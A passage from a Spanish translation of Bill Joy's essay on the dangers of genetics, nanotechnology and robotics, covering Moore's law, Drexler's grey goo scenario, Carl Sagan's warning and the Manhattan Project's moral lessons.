Stephen	Wolfram	 y	 Brosl	 Hasslacher	 me	 introdujeron,	 en	 los	 tempranos	 ‘80,	 a	 la
teoría	del	caos	y	a	los	sistemas	nolineales.	Aprendí	acerca	de	sistemas	complejos	de
conversaciones	 con	 Danny	 Hillis,	 el	 biólogo	 Stuart	 Kauffman,	 el	 Nobel	 de	 Física
Murray	Gell-Mann	y	otros.	Más	recientemente,	Hasslacher	y	el	ingeniero	eléctrico	y
físico	mecánico	Mark	Reed	han	 estado	dándome	un	panorama	de	 las	 posibilidades
increíbles	de	la	electrónica	molecular.

En	mi	propio	trabajo	en	el	codiseño	de	tres	arquitecturas	de	microprocesadores	—
SPARC,	picoJAVA,	y	MAJC—,	y	como	diseñador	de	sucesivas	implementaciones	a
partir	de	éstos,	he	logrado	familiarizarme	en	profundidad	y	sin	mediaciones	con	la	ley
de	Moore.	La	ley	de	Moore[126]	ha	predicho	correctamente	el	índice	exponencial	de
mejoramiento	de	la	tecnología	de	semiconductores.	Hasta	el	año	pasado	yo	creía	que
el	índice	de	innovaciones	predicho	por	la	ley	de	Moore	podía	sostenerse	como	mucho
hasta	el	2010,	momento	en	que	empezarían	a	encontrarse	limitaciones	físicas.	No	era
obvio	para	mí	que	iba	a	llegar	una	tecnología	nueva	justo	a	tiempo	para	sostener	el
ritmo	de	avance.

Pero	 debido	 a	 avances	 radicales	 que	 se	 dieron	 recientemente	 en	 áreas	 como	 la
electrónica	 molecular	 —en	 donde	 se	 reemplazan	 los	 transistores	 dispuestos
litográficamente	por	átomos	y	moléculas	individuales—,	y	en	el	de	las	tecnologías	de
nanoescalas	relacionadas	a	las	anteriores,	deberíamos	estar	preparados	para	cumplir	o
exceder	el	índice	de	progreso	de	la	ley	de	Moore	por	otros	30	años.	Para	el	2030,	es
probable	 que	 podamos	 construir,	 en	 cantidad,	 máquinas	 un	 millón	 de	 veces	 más
poderosas	que	las	computadoras	personales	de	hoy	en	día	—lo	que	es	suficiente	para
implementar	los	sueños	de	Kurzweil	y	Moravec.

Al	combinarse	este	enorme	poder	 informático	con	 los	avances	en	manipulación
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de	 las	 ciencias	 físicas	y	 el	nuevo,	y	profundo,	 conocimiento	de	 la	genética,	 se	 está
desatando	un	enorme	poder	transformador.	Estas	combinaciones	abren	la	oportunidad
de	rediseñar	completamente	el	mundo,	para	mejor	o	peor:	los	procesos	de	replicación
y	evolución	que	han	estado	confinados	al	mundo	natural	están	por	volverse	reinos	del
quehacer	humano.

Diseñando	software	y	microprocesadores,	yo	nunca	había	tenido	la	sensación	de
que	 estaba	 diseñando	 una	 máquina	 inteligente.	 El	 software	 y	 el	 hardware	 son	 tan
frágiles,	 y	 la	 capacidad	 de	 las	 máquinas	 de	 «pensar»	 se	 muestra	 tan	 ausente	 que,
incluso	como	posibilidad,	siempre	me	pareció	muy	alejada	en	el	futuro.

Pero	ahora,	con	la	perspectiva	de	un	poder	de	procesamiento	de	nivel	humano	en
unos	 30	 años,	 una	 idea	 nueva	 surge	 sola:	 que	 podría	 estar	 trabajando	 para	 crear
herramientas	que	van	a	permitir	la	creación	de	la	tecnología	que	podría	reemplazar	a
nuestra	 especie.	 ¿Cómo	me	 siento	 al	 respecto?	Muy	 incómodo.	 Habiendo	 luchado
toda	mi	carrera	para	construir	sistemas	de	software	confiables,	me	parece	a	mí	más
que	 probable	 que	 este	 futuro	 no	 va	 a	 funcionar	 tan	 bien	 como	 alguna	 gente	 se
imagina.	 Mi	 experiencia	 personal	 sugiere	 que	 tendemos	 a	 sobrevaluar	 nuestras
habilidades	para	el	diseño.

Dado	 el	 increíble	 poder	 de	 estas	 tecnologías	 novedosas,	 ¿no	 deberíamos	 estar
preguntándonos	 cómo	 podemos	 coexistir	 mejor	 con	 ellas?	 ¿Y	 si	 nuestra	 propia
extinción	 es	 contemplable	 como	 posibilidad	 por	 las	 consecuencias	 de	 nuestro
desarrollo	tecnológico,	no	deberíamos	proceder	con	cuidado?

El	sueño	de	la	robótica	es,	primero,	que	las	máquinas	inteligentes	puedan	hacer	el
trabajo	 por	 nosotros,	 permitiéndonos	 tener	 vidas	 de	 ocio,	 devolviéndonos	 al	 Edén.
Sin	 embargo,	 en	 su	 historia	 de	 estas	 ideas,	Darwing	 among	 the	Machines,	 George
Dyson	 [Reading,	 Addison	 Wesley,	 1997]	 advierte:	 «En	 el	 juego	 de	 la	 vida	 y	 la
evolución	 hay	 tres	 jugadores	 en	 la	 mesa:	 seres	 humanos,	 naturaleza	 y	 máquinas.
Estoy	 firmemente	 del	 lado	 de	 la	 naturaleza.	 Pero	 la	 naturaleza,	 sospecho,	 está	 del
lado	de	las	máquinas».	Como	hemos	visto,	Moravec	está	de	acuerdo	en	la	creencia	de
que	 podríamos	 llegar	 a	 no	 sobrevivir	 luego	 del	 encuentro	 con	 las	 especies	 robots
superiores.

¿Qué	 tan	 pronto	 podría	 ser	 construido	 ese	 robot	 inteligente?	 Los	 avances
anunciados	 en	 el	 poder	 de	 procesamiento	 de	 las	 computadoras	 parecen	 hacerlo
posible	para	el	2030.	Y	una	vez	que	ya	existe	un	robot	inteligente,	queda	un	pequeño
paso	 hacia	 una	 especie	 robot	—hacia	 un	 robot	 inteligente	 que	 puede	 hacer	 copias
evolucionadas	de	sí	mismo.

Un	 segundo	 sueño	 de	 la	 robótica	 es	 que	 gradualmente	 nos	 reemplacemos	 a
nosotros	mismos	con	nuestra	tecnología	robótica,	consiguiendo	una	casi	inmortalidad
mediante	la	descarga[127]	de	nuestras	conciencias;	es	el	proceso	al	que	Danny	Hillis
piensa	que	nos	iremos	acostumbrando	lentamente	y	que	Ray	Kurzweil	describe	con
elegancia	 en	 La	 era	 de	 las	 máquinas	 espirituales.	 (Estamos	 empezando	 a	 ver
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acercamiento	 a	 este	 tema	 en	 la	 implantación	 de	 dispositivos	 vinculados	 a
computadoras	dentro	del	cuerpo	humano,	como	se	muestra	en	la	portada	de	Wired	de
febrero	de	2000).

¿Pero	 si	 nos	 descargamos	 en	 nuestra	 tecnología,	 qué	 posibilidades	 hay	 de	 que
después	del	 proceso	 sigamos	 siendo	nosotros,	 o	 incluso	humanos?	Me	parece	 a	mí
mucho	 más	 probable	 que	 una	 existencia	 robótica	 no	 fuera	 como	 una	 humana,	 de
ninguna	manera	en	que	 la	entendemos,	que	 los	robots	no	serían	de	ninguna	manera
nuestros	hijos,	que	por	este	camino	nuestra	humanidad	seguramente	se	perdería.

La	 ingeniería	 genética	 promete:	 revolucionar	 la	 agricultura	 incrementando	 las
producciones	 de	 trigo,	 reduciendo	 el	 uso	 de	 pesticidas;	 crear	 decenas	 de	 miles	 de
nuevas	especies	de	bacterias,	plantas,	virus	y	animales;	reemplazar	la	reproducción,	o
mejorarla,	 con	 la	 clonación;	 crear	 curas	para	muchas	 enfermedades,	 incrementando
nuestra	 expectativa	 y	 calidad	 de	 vida;	 y	 mucho,	 mucho	 más.	 Ahora	 sabemos	 con
certeza	 que	 estos	 profundos	 cambios	 en	 las	 ciencias	 biológicas	 son	 inminentes	 y
desafiarán	todas	nuestras	nociones	de	lo	que	es	la	vida.

Tecnologías	como	la	clonación	humana,	en	particular,	han	generado	preocupación
por	 los	profundos	problemas	éticos	y	morales	a	que	nos	enfrentan.	Si,	por	ejemplo,
fuéramos	a	remodelarnos	en	varias	especies	separadas	y	distintas,	usando	el	poder	de
la	 ingeniería	genética,	entonces	desestabilizaríamos	 la	noción	de	 igualdad	que	es	 la
piedra	fundamental	de	nuestra	democracia.

Dado	 el	 increíble	 poder	 de	 la	 ingeniería	 genética,	 no	 es	 sorprendente	 que	 haya
debates	de	envergadura	en	relación	a	la	seguridad	de	su	uso.	Mi	amigo	Amory	Lovins
recientemente	coescribió,	 junto	con	Hunter	Lovins,	una	nota	de	opinión	que	brinda
una	mirada	ecológica	en	torno	a	éstos	peligros.	Entre	sus	preocupaciones	se	halla	el
hecho	de	que	«la	nueva	botánica	vincula	 el	desarrollo	de	 las	plantas	 a	 su	éxito,	no
evolutivo,	sino	económico»[128].	La	extensa	carrera	de	Amory	ha	estado	orientada	a
los	recursos	y	la	eficiencia	energética	a	partir	de	una	mirada	de	«sistema-total»	sobre
los	 sistemas	 humanos;	 esa	 mirada	 de	 sistema-total	 muchas	 veces	 encuentra
soluciones	simples,	 inteligentes,	a	 lo	que	de	otra	manera	se	convierte	en	problemas
tortuosos,	y	que	también	se	aplica	a	nuestro	tema.

Después	 de	 leer	 la	 nota	 de	 Lovins,	 leí	 un	 artículo	 de	Gregg	 Easterbrook	 en	 la
página	editorial	de	The	New	York	Times	 (19	de	noviembre	de	1999)	acerca	de	los
cereales	modificados,	 bajo	 el	 título	 de	 «Comida	 para	 el	 Futuro:	Algún	 día	 el	 arroz
vendrá	con	Vitamina	A	ya	incorporada.	A	no	ser	que	ganen	los	Ludditas».

¿Son	ludditas	Amory	y	Hunter	Lovins?	Ciertamente	no.	Creo	que	todos	estamos
de	acuerdo	en	que	el	arroz	dorado,	con	vitamina	A	incorporada,	es	algo	bueno,	si	se
desarrolla	con	cuidado	y	respeto	por	los	eventuales	peligros	de	mover	genes	a	través
de	las	fronteras	de	las	especies.

La	 preocupación	 por	 los	 peligros	 inherentes	 a	 la	 ingeniería	 genética	 está
empezando	a	aumentar,	como	lo	refleja	la	nota	de	Lovins.	El	público	en	general	está
al	 tanto,	 e	 incómodo	 respecto	 a	 las	 comidas	 modificadas	 genéticamente,	 y	 parece
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rechazar	la	idea	de	que	estas	comidas	deberían	venderse	sin	identificarse	como	tales.
Pero	 la	 tecnología	de	 ingeniería	genética	 tiene	ya	mucho	tiempo.	Como	señalan

los	 Lovins,	 el	 USDA	 [Departamento	 de	 Agricultura	 de	 los	 Estados	 Unidos]	 lleva
aprobados	 unos	 50	 cereales	 genéticamente	modificados	 para	 venta	 libre;	más	 de	 la
mitad	 de	 los	 porotos	 de	 soja	 y	 un	 tercio	 del	 trigo	 del	mundo	 contienen	 hoy	 genes
provenientes	de	otras	formas	de	vida.

Mientras	 que	 hay	 varios	 temas	 importantes	 relacionados	 a	 esto,	 mi	 mayor
inquietud	con	respecto	a	la	ingeniería	genética	es	más	concreta:	que	da	poder	—sea
militar,	 accidentalmente,	 o	 en	 un	 acto	 terrorista	 deliberado—	 de	 crear	 una	 Peste
Blanca.

Las	diversas	maravillas	de	la	nanotecnología	fueron	imaginadas	por	primera	vez
por	el	ganador	del	Nobel	de	física	Richard	Feynman	en	un	discurso	que	dio	en	1959,
publicado	bajo	el	título	de	«Hay	bastante	lugar	en	el	fondo».	El	libro	que	causó	una
gran	 impresión	 en	 mí,	 a	 mediados	 de	 los	 ‘80,	 fue	 Engines	 of	 Creation	 de	 Eric
Drexler,[129]	 en	el	que	describía	 con	belleza	cómo	 la	manipulación	de	materia	 a	un
nivel	atómico	podría	crear	un	futuro	utópico	de	abundancia,	donde	casi	 todo	podría
fabricarse	 a	 bajo	 costo,	 y	 casi	 cualquier	 enfermedad	 o	 problema	 físico	 podría
resolverse	usando	nanotecnología	e	inteligencia	artificial.

Un	libro	posterior,	Unbounding	the	Future:	The	Nanotechnology	Revolution[130],
que	Drexler	coescribió,	imagina	algunos	de	los	cambios	que	podrían	tener	lugar	en	un
mundo	 en	 que	 tuviéramos	 «ensambladores»	 a	 nivel	 molecular.	 Los	 ensambladores
podrían	 hacer	 posible	 energía	 solar	 a	 costos	 bajísimos,	 curas	 para	 el	 cáncer	 y	 el
resfrío	 común	 por	 refuerzo	 del	 sistema	 inmunológico	 humano,	 limpieza
esencialmente	 completa	 del	 medioambiente,	 supercomputadoras	 de	 bolsillo
increíblemente	baratas	—de	hecho,	cualquier	producto	sería	fabricable	a	un	costo	no
mayor	 que	 el	 de	 la	 madera—,	 vuelos	 al	 espacio	 más	 accesibles	 que	 los	 vuelos
transoceánicos	de	hoy	en	día,	y	recuperación	de	especies	extinguidas.

Me	acuerdo	de	sentirme	muy	bien	respecto	a	la	nanotecnología	después	de	haber
leído	Engines	of	Creation.	Como	tecnólogo,	me	dio	una	sensación	de	calma	—o	sea,
la	 nanotecnología	 nos	mostraba	 que	 era	 posible	 un	 progreso	 increíble	 y,	 de	 hecho,
quizás	 inevitable—.	Si	 la	nanotecnología	 era	nuestro	 futuro,	 entonces	no	me	 sentía
presionado	a	resolver	tantos	problemas	en	el	presente.	Llegaría	al	futuro	de	Drexler
en	el	tiempo	previsto;	podía	disfrutar	más	de	la	vida	aquí	y	ahora.	No	tenía	sentido,
dada	su	visión,	quedarse	despierto	toda	la	noche,	todo	el	tiempo.

La	visión	de	Drexler	 también	 llevó	a	bastante	diversión.	Cada	 tanto	me	ponía	a
describir	 las	maravillas	de	 las	nanotecnología	a	otros	que	no	habían	oído	hablar	de
ellas.	Después	de	cansarlos	con	todas	las	cosas	que	describía	Drexler	yo	les	podía	dar
una	 tarea	 para	 el	 hogar	 inventada	 por	 mí:	 «Usen	 nanotecnología	 para	 crear	 un
vampiro;	para	mayor	puntaje	creen	un	antídoto».

Con	estas	maravillas	venían	claros	peligros,	de	los	cuales	estaba	al	 tanto.	Como
dije	 en	 una	 conferencia	 sobre	 nanotecnología	 en	 1989,	 «No	 podemos	 simplemente
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hacer	 nuestra	 ciencia	 y	 no	 preocuparnos	 por	 estos	 temas	 éticos»[131].	 Pero	 mis
conversaciones	 posteriores	 con	 físicos	 me	 convencieron	 de	 que	 la	 nanotecnología
quizás	ni	siquiera	llegara	a	funcionar	—o,	por	lo	menos,	no	lo	haría	en	los	próximos
tiempos—.	 Poco	 después	 me	 mudé	 a	 Colorado,	 a	 un	 grupo	 de	 estudio	 que	 había
armado,	y	el	foco	de	mi	trabajo	cambió	al	software	para	Internet,	específicamente	a
ideas	que	se	convirtieron	en	Java	y	Jini.

Entonces,	 el	 verano	 pasado,	 Brosl	 Hasslacher	 me	 contó	 que	 la	 electrónica
molecular	 a	 nanoescalas	ya	 era	posible.	Éstas	 eran	noticias	muy	nuevas	para	mí,	 y
pienso	 que	 para	 mucha	 gente	 —y	 cambiaron	 radicalmente	 mi	 opinión	 sobre	 la
nanotecnología—.	Me	llevaron	de	nuevo	a	Engines	of	Creation.	Leyendo	el	libro	de
Drexler	 después	 de	 más	 de	 10	 años,	 me	 shockeó	 darme	 cuenta	 lo	 poco	 que	 me
acordaba	 de	 la	 larga	 sección	 titulada	 «Peligros	 y	 Esperanzas»,	 que	 incluía	 una
discusión	 acerca	 de	 cómo	 las	 nanotecnologías	 podían	 convertirse	 en	 «motores	 de
destrucción».	De	hecho,	en	mi	relectura	de	este	material	hoy,	quedé	sorprendido	por
lo	naïf	que	parecen	algunas	de	las	propuestas	de	seguridad	de	Drexler,	y	por	lo	mucho
más	 grandes	 que	 juzgo	 ahora	 los	 peligros	 de	 lo	 que	 Drexler	 parecía	 hacerlo	 por
entonces.	(Habiendo	anticipado	y	descrito	muchos	problemas	técnicos	y	políticos	de
la	nanotecnología,	Drexler	lanzó	el	Foresight	Institute	[Instituto	para	la	Previsión]	a
fines	de	los	‘80	«para	ayudar	a	preparar	a	la	sociedad	para	las	nuevas	tecnologías	de
avanzada»	sobre	todo,	la	nanotecnología).

El	 salto	que	permitiría	 el	desarrollo	de	ensambladores	parece	 factible	dentro	de
los	 próximos	 20	 años.	 La	 electrónica	 molecular	 —el	 nuevo	 subcampo	 de	 la
nanotecnología	 en	 el	 que	 moléculas	 individuales	 son	 elementos	 de	 los	 circuitos—
debería	madurar	 rápidamente	 y	 volverse	 enormemente	 lucrativo	 a	 lo	 largo	 de	 esta
década,	generando	un	gran	incremento	de	inversiones	en	todas	las	nanotecnologías.

Desafortunadamente,	 como	 con	 la	 tecnología	 nuclear,	 es	 más	 fácil	 crear	 usos
destructivos	para	 la	nanotecnología	que	usos	constructivos.	La	nanotecnología	 tiene
claros	 usos	 militares	 y	 terroristas,	 y	 no	 se	 necesita	 ser	 suicida	 para	 liberar	 un
dispositivo	 nanotecnológico	 masivamente	 destructivo	 —tales	 dispositivos	 pueden
construirse	 para	 ser	 destructivos	 selectivamente,	 afectando,	 por	 ejemplo,	 sólo	 una
cierta	área	geográfica,	o	un	grupo	de	personas	genéticamente	distintivas.

Una	consecuencia	inmediata	del	contrato	faustiano	por	obtener	el	gran	poder	de	la
nanotecnología,	 es	 que	 corremos	 un	 grave	 riesgo	 —el	 riesgo	 de	 que	 podríamos
destruir	la	biosfera	de	la	que	depende	toda	la	vida.

Como	Drexler	explica:

«Plantas»	con	«hojas»	que	no	fueran	más	eficientes	que	las	células	solares	de
hoy	en	día,	podrían	prevalecer	sobre	 las	plantas	 reales,	poblando	 la	biosfera
de	un	follaje	inédito.	Peor	todavía,	«bacterias»	omnívoras	podrían	prevalecer
sobre	 las	 bacterias	 reales:	 podrían	 desparramarse	 como	 polen	 por	 el	 aire,
replicarse	 tranquilamente,	 y	 reducir	 la	 biosfera	 a	 polvo	 en	 cuestión	 de	 días.
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Algunos	replicadores	peligrosos	fácilmente	podrían	ser	demasiado	resistentes,
pequeños,	y	rápidos	en	su	proliferación,	como	para	detenerlos	por	lo	menos	si
no	nos	preparamos.	Tenemos	bastantes	problemas	ya,	controlando	los	virus	y
la	mosca	de	la	fruta.

Entre	 los	 conocedores	 de	 la	 nanotecnología,	 este	 peligro	 ha	 pasado	 a
conocerse	 como	 el	 «problema	 del	 fango	 gris».	 Aunque	 las	 masas	 de
replicadores	 descontrolados	 no	necesiten	 ser	 grises	 o	 viscosas,	 «fango	gris»
estaría	enfatizando	que	los	replicadores	capaces	de	acabar	con	la	vida	podrían
ser	 menos	 atractivos	 que	 cualquier	 especie	 de	 pasto	 común.	 Podrían	 ser
superiores	en	un	sentido	evolutivo,	pero	esto	no	 los	hace	más	valiosos	en	sí
mismos.

La	 amenaza	 del	 «fango	 gris»	 deja	 en	 claro	 una	 cosa:	 no	 nos	 podemos
permitir	cierto	tipo	de	accidentes	con	ensambladores	replicantes.

El	 fango	 gris	 sería	 sin	 duda	 un	 final	 deprimente	 para	 nuestra	 aventura	 como
habitantes	de	la	Tierra,	mucho	peor	que	el	fuego	o	el	agua,	y	sería	un	final	que	podría
salir	de	un	simple	laboratorio.[132]

Más	 que	 nada,	 es	 el	 poder	 destructivo	 de	 la	 autoreplicación	 en	 genética,
nanotecnología	 y	 robótica	 (GNR)	 lo	 que	 debería	 obligarnos	 a	 hacer	 una	 pausa.	 La
autoreplicación	 es	 el	 modus	 operandi	 de	 la	 ingeniería	 genética,	 que	 utiliza	 la
maquinaria	 de	 la	 célula	 para	 replicar	 sus	 diseños,	 y	 es	 el	 peligro	 más	 importante
subyacente	 al	 fango	gris	 en	nanotecnología.	Historias	de	 robots	 renegados	 como	el
Borg,	 replicándose	 o	 mutando	 para	 escapar	 de	 las	 imposiciones	 éticas	 de	 sus
creadores,	 son	 bastante	 comunes	 en	 nuestros	 libros	 y	 películas	 de	 ciencia	 ficción.
Incluso	es	posible	que	la	autoreplicación	sea	algo	más	amplio	de	como	la	pensamos	y,
por	 eso,	 más	 difícil	—o	 incluso	 imposible—	 de	 controlar.	 Un	 artículo	 reciente	 de
Stuart	Kauffman	en	Nature	titulado	«Auto-Replicación:	hasta	los	péptidos	lo	hacen»
analiza	 el	 descubrimiento	 de	 que	 32	 peptoaminoácidos	 pueden	 «autocatalizar	 su
propia	 síntesis».	 No	 sabemos	 hasta	 qué	 punto	 está	 extendida	 esta	 habilidad,	 pero
Kauffman	 señala	 que	 podría	 dar	 pistas	 de	 «una	 vía	 hacia	 sistemas	 moleculares
autoreproductores,	 con	 bases	 mucho	 más	 amplias	 que	 el	 base	 par	 de	 Watson-
Crick»[133].

En	 verdad,	 hemos	 tenido	 avisos	 de	 los	 peligros	 inherentes	 al	 conocimiento	 y
difusión	de	 las	 tecnologías	GNR	—de	 la	posibilidad	de	que	el	 conocimiento	por	 sí
mismo	 diera	 lugar	 a	 una	 destrucción	 masiva—.	 Pero	 estos	 avisos	 no	 tuvieron
demasiada	prensa;	los	debates	públicos	han	sido	notoriamente	inadecuados.	Hablar	de
los	peligros	no	da	ganancias.

Las	 tecnologías	nucleares,	biológicas	y	químicas	(NBQ)	usadas	en	 las	armas	de
destrucción	masiva	del	siglo	XX	eran	y	son	más	que	nada	militares,	desarrolladas	en
laboratorios	 de	 gobiernos.	 En	 abierto	 contraste,	 las	 tecnologías	GNR	 del	 siglo	XXI
tienen	usos	comerciales	manifiestos	y	están	siendo	desarrolladas	casi	exclusivamente
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por	empresas	corporativas.	En	esta	era	de	comercialismo	triunfante,	la	tecnología	—
con	 la	 ciencia	 tomada	 de	 la	mano—	está	 entregando	una	 serie	 de	 invenciones	 casi
mágicas,	 que	 son	 de	 las	 más	 lucrativas	 que	 se	 han	 visto	 hasta	 ahora.	 Estamos
lanzados	 a	 hacer	 realidad	 las	 promesas	 de	 estas	 nuevas	 tecnologías	 dentro	 de	 este
sistema,	 ahora	 sin	 competencia,	 del	 capitalismo	 global	 y	 su	 multiplicidad	 de
incentivos	financieros	y	de	presiones	competitivas.

Éste	 es	 el	 primer	 momento	 en	 la	 historia	 de	 nuestro	 planeta	 en	 que	 una
especie,	 por	 sus	 propias	 acciones	 voluntarias,	 se	 ha	 convertido	 en	 una
amenaza	para	sí	misma	—así	como	para	un	vasto	número	de	otras.

Pudiera	ser	un	proceso	esperable,	que	sucediera	en	diversos	mundos	—un
planeta,	 recientemente	 formado,	 evoluciona	 plácidamente	 en	 la	 órbita	 de	 su
estrella;	 la	 vida	 se	 forma	 lentamente;	 emerge	 la	 inteligencia	 que,	 al	 menos
hasta	cierto	momento,	es	valiosa	para	la	supervivencia;	y	entonces	se	inventa
la	 tecnología—.	 Se	 dan	 cuenta	 de	 que	 hay	 cosas	 como	 las	 leyes	 de	 la
Naturaleza;	de	que	estas	leyes	pueden	revelarse	mediante	experimentos,	y	que
el	conocimiento	de	estas	leyes	puede	usarse	tanto	para	salvar	vidas	como	para
quitarlas,	en	ambos	casos	a	una	escala	sin	precedentes.	La	ciencia,	reconocen,
confiere	 poderes	 inmensos.	 En	 un	 instante	 crean	 dispositivos	 capaces	 de
alterar	 el	 mundo.	 Algunas	 civilizaciones	 planetarias	 se	 abren	 del	 camino,
ponen	límites	a	lo	que	estaría	bien	hacer	y	lo	que	no,	y	siguen	protegidas	de
peligros	 a	 través	 del	 tiempo.	 Otras,	 con	 menos	 suerte,	 o	 menos	 prudencia,
perecen.

Ése	es	Carl	Sagan,	escribiendo	en	1994,	en	Pale	blue	dot,	un	libro	que	describía
su	visión	del	futuro	humano	en	el	espacio.[134]	Recién	ahora	estoy	dándome	cuenta	de
lo	profunda	que	era	su	visión,	y	de	la	manera	en	que	lo	echo	y	lo	echaré	de	menos.
Por	su	elocuencia,	el	aporte	de	Sagan	era,	sin	ser	menos,	el	del	simple	sentido	común
—un	atributo	del	que	parecen	carecer,	junto	al	de	la	humildad,	muchos	de	los	voceros
e	impulsores	de	las	tecnologías	del	siglo	XXI.

Me	acuerdo	de	cuando	era	chico	que	mi	abuela	estaba	en	contra	del	uso	excesivo
de	 antibióticos.	Había	 trabajado	 como	 enfermera	 desde	 antes	 de	 la	 Primera	Guerra
Mundial	y	tenía	la	noción	de	sentido	común	de	que	tomar	antibióticos,	a	menos	que
fueran	absolutamente	necesarios,	era	malo	para	uno.

No	es	que	fuera	una	enemiga	del	progreso.	Vio	muchos	progresos	a	 lo	 largo	de
casi	70	años	como	enfermera;	mi	abuelo,	diabético,	se	benefició	enormemente	de	las
mejoras	en	los	tratamientos	que	se	hicieron	posibles	a	lo	largo	de	su	vida.	Pero	ella,
como	mucha	otra	gente,	pensaría	que	es	una	gran	arrogancia	de	nuestra	parte	estar,
ahora,	diseñando	una	«especie	robótica	capaz	de	reemplazarnos»,	cuando	obviamente
tenemos	 tantos	 problemas	 en	 hacer	 que	 funcionen	 cosas	 relativamente	 sencillas,	 y
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tantos	problemas	para	manejarnos	—o	hasta	entendernos—	a	nosotros	mismos.
Me	doy	cuenta	ahora	de	que	ella	tenía	una	noción	o	una	comprensión	del	orden

natural	 de	 la	 vida,	 y	 de	 la	 necesidad	de	 vivir	 junto	 a	 ese	 orden,	 respetándolo.	Este
respeto	 conlleva	 una	 necesaria	 humildad	 de	 la	 que	 nosotros,	 en	 nuestra	 fiebre	 de
comienzos	 del	 siglo	 XXI,	 carecemos	 peligrosamente.	 La	 visión	 de	 sentido	 común,
basada	en	este	respeto,	suele	tener	razón,	incluso	antes	de	la	evidencia	científica.	La
evidente	 fragilidad	 e	 ineficiencias	 de	 los	 sistemas	 humanos	 que	 hemos	 construido
debería	obligarnos	a	hacer	una	pausa;	ciertamente	la	fragilidad	de	los	sistemas	en	los
que	he	trabajado	me	ha	tornado	más	humilde.

Deberíamos	haber	aprendido	una	 lección	de	 la	 fabricación	de	 la	primera	bomba
nuclear	y	de	la	carrera	armamentística.	No	actuamos	bien	esa	vez,	y	los	paralelismos
con	nuestra	situación	actual	son	problemáticos.	El	esfuerzo	por	construir	 la	primera
bomba	 atómica	 fue	 liderado	 por	 el	 brillante	 físico	 J.	 Robert	 Oppenheimer.
Oppenheimer	 no	 estaba	 interesado	 en	 la	 política	 pero	 tomó	 conciencia	 de	 lo	 que
percibía	 como	 una	 amenaza	 para	 la	 civilización	Occidental	 proveniente	 del	 Tercer
Reich,	 una	 amenaza	 seguramente	 grave	 debido	 a	 la	 posibilidad	 de	 que	 Hitler
obtuviera	armas	nucleares.	Motivado	por	este	temor,	llevó	a	Los	Álamos	su	poderoso
intelecto,	 su	 pasión	 por	 la	 física	 y	 su	 habilidad	 de	 líder	 carismático,	 y	 condujo	 los
esfuerzos	 rápidos	 y	 exitosos	 de	 un	 sorprendente	 grupo	 de	 brillantes	 seres	 para
inventar	la	bomba.

Lo	 llamativo	es	cómo	el	 trabajo	prosiguió	con	 tanta	naturalidad	después	de	que
hubiera	desaparecido	el	motivo	inicial.	En	una	reunión	poco	después	del	Día	V-E	con
algunos	 físicos	 que	 sentían	 que	 quizás	 se	 debería	 detener	 la	 investigación,
Oppenheimer	 argumentó	 que	 había	 que	 continuar.	 La	 razón	 que	 dio	 parece	 algo
extraña:	 no	 por	 temor	 a	 grandes	 bajas	 en	 una	 invasión	 a	 Japón,	 sino	 porque	 las
Naciones	 Unidas,	 que	 estaban	 próximas	 a	 formarse,	 debían	 tener	 prioridad	 en	 el
conocimiento	 de	 las	 armas	 atómicas.	 Un	 motivo	 más	 probable	 por	 el	 que	 debía
continuar	el	proyecto	es	el	punto	al	que	había	llegado	—la	primera	prueba	atómica,
Trinity,	estaba	casi	al	alcance	de	la	mano.

Sabemos	 que	 al	 preparar	 esta	 primera	 prueba	 atómica,	 los	 físicos	 procedieron
pese	a	un	gran	número	de	posibles	peligros.	Se	preocuparon	inicialmente,	en	base	a
cálculos	realizados	por	Edward	Teller,	de	que	una	bomba	atómica	pudiera	incendiar
la	 atmósfera.	 Un	 nuevo	 cálculo	 redujo	 el	 peligro	 de	 destruir	 el	 mundo	 a	 una
posibilidad	de	tres	en	un	millón	(Teller	dice	que	luego	pudo	descartar	por	completo
un	 eventual	 incendio	 atmosférico).	 Oppenheimer,	 sin	 embargo,	 estaba	 lo
suficientemente	preocupado	por	el	resultado	de	Trinity	como	para	hacer	arreglos	para
una	 posible	 evacuación	 de	 la	 parte	 sur	 oeste	 del	 estado	 de	 Nuevo	México.	 Y,	 por
supuesto,	estaba	el	peligro	de	disparar	una	carrera	armamentística.

A	 lo	 largo	 del	 mes	 siguiente	 a	 esa	 primera,	 y	 exitosa,	 prueba,	 dos	 bombas
destruyeron	Hiroshima	y	Nagasaki.	Algunos	científicos	sugirieron	que	la	bomba	sólo
fuera	 exhibida,	 en	 lugar	 de	 arrojarla	 sobre	 ciudades	 japonesas	 decían	 que	 así	 se
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mejorarían	las	posibilidades	para	el	control	de	armas	luego	de	la	guerra,	pero	no	se
los	tuvo	en	cuenta.	Con	la	tragedia	de	Pearl	Harbor	fresca	todavía	en	la	cabeza	de	los
estadounidenses,	 hubiera	 sido	 muy	 difícil	 para	 el	 Presidente	 Truman	 ordenar	 una
demostración	 de	 las	 armas	 en	 vez	 de	 usarlas	 como	 lo	 hizo	 el	 deseo	 de	 terminar
rápidamente	 con	 la	 guerra	 y	 salvar	 las	 vidas	 que	 se	 hubieran	 perdido	 en	 cualquier
invasión	a	Japón	era	demasiado	fuerte.	Y	sin	embargo	 la	verdad	era	probablemente
muy	simple:	como	luego	dijo	el	físico	Freeman	Dyson,	«La	razón	por	la	que	se	lanzó
fue	que	nadie	tuvo	el	coraje	o	la	previsión	de	decir	no».

Es	 importante	 darse	 cuenta	 de	 lo	 shockeados	 que	 estuvieron	 los	 físicos	 en	 los
momentos	posteriores	a	la	bomba	de	Hiroshima,	el	6	de	agosto	de	1945.	Hablan	de
varios	 estados	 de	 emoción:	 primero,	 satisfacción	 porque	 la	 bomba	 funcionaba;
después	 horror	 por	 todas	 las	 personas	 que	 habían	 muerto;	 después	 el	 sentimiento
convencido	de	que	bajo	ninguna	razón	debía	arrojarse	otra	bomba.	Sin	embargo,	por
supuesto,	otra	bomba	 fue	 arrojada,	 en	Nagasaki,	 a	 sólo	 tres	días	del	bombardeo	de
Hiroshima.

En	 noviembre	 de	 1945,	 tres	 meses	 después	 de	 los	 bombardeos	 con	 armas
atómicas,	Oppenheimer	se	amparó	en	 la	actitud	científica,	diciendo,	«No	es	posible
ser	científico	a	menos	que	se	crea	en	que	el	conocimiento	del	mundo,	y	el	poder	que
éste	 conlleva,	 es	 algo	 de	 valor	 intrínseco	 para	 la	 humanidad,	 y	 en	 que	 uno	 lo	 está
usando	 para	 promover	 la	 difusión	 del	 conocimiento	 y	 está	 dispuesto	 a	 soportar	 las
consecuencias».

Oppenheimer	 siguió	 adelante	 trabajando,	 junto	 a	 otros,	 en	 el	 informe	Acheson-
